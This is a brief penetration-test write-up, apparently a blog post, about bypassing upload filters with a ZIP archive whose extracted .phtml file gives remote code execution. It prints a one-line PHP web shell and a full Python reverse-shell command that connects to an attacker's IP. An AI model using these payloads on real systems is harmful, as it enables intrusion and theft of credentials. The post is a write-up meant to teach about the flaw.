RCE through Zip Unarchiving

3 min readMar 22, 2025

In a recent pentest I found an interesting way to obtain remote code execution and eventually a reverse shell on the underlying system.

The app is a custom web builder and the admin panel had a file upload feature. Since it was powered in part by PHP, there were quite a few in-place security measures against malicious uploads.

The first thing I tried was to upload a simple PHP, and that was not allowed. I also tried renaming uploaded files into PHP but that was also restricted. HTML and text files, as well as ZIP were allowed.

What was interesting is that trying to upload a PHP and looking at the request, the security measures seemed very basic.

If you uploaded a ZIP file, it let you unarchive it in the app in the same folder. So the next thing I tried was to pack a PHP file into a ZIP archive and then unarchive it. When it got unzipped, the extension was automatically turned into .php_. So, they saw this one coming too.

The next thing I did was to have ChatGPT give a list of possible PHP friendly extension that might allow execution of code. It give me quite a few, including:

  • php3, php4, php5, phar, phps, phtml, cgi, pht.

What I did next was to write a simple command execution script like <?php system($_GET[‘cmd’]); ?> and save it in all of the extensions.

Then I added all of the files into an archive, uploaded the archive and unarchive it.

To my surprise, there were a few extensions that were unzipped as they were (without the _ at the end). The one that I decided to go with was the phtml one:

Simply visiting: https://<appurl>/<folder>/sec.phtml?cmd=<cmd> enabled command execution.

The command I used for a reverse shell was through python:

  • python -c ‘import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“<ip>”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(“/bin/bash”)’

First, I set up a listener on my machine, then executed the command, and then I got the reverse shell:

The greater issue here was that the machine ran multiple vhosts, thus not only their staging/test env. And there was some juicy stuff in the env, such as AWS creds and other keys. And of course, instance metadata could be called from the machine.

The moral of the story is that their implementation of whitelisting was very defective. And probably, the bigger issue was the logic behind the unarchiving/unzipping feature that had been implemented very poorly.

Other than that, the app was pretty solid.

--

--

Responses (1)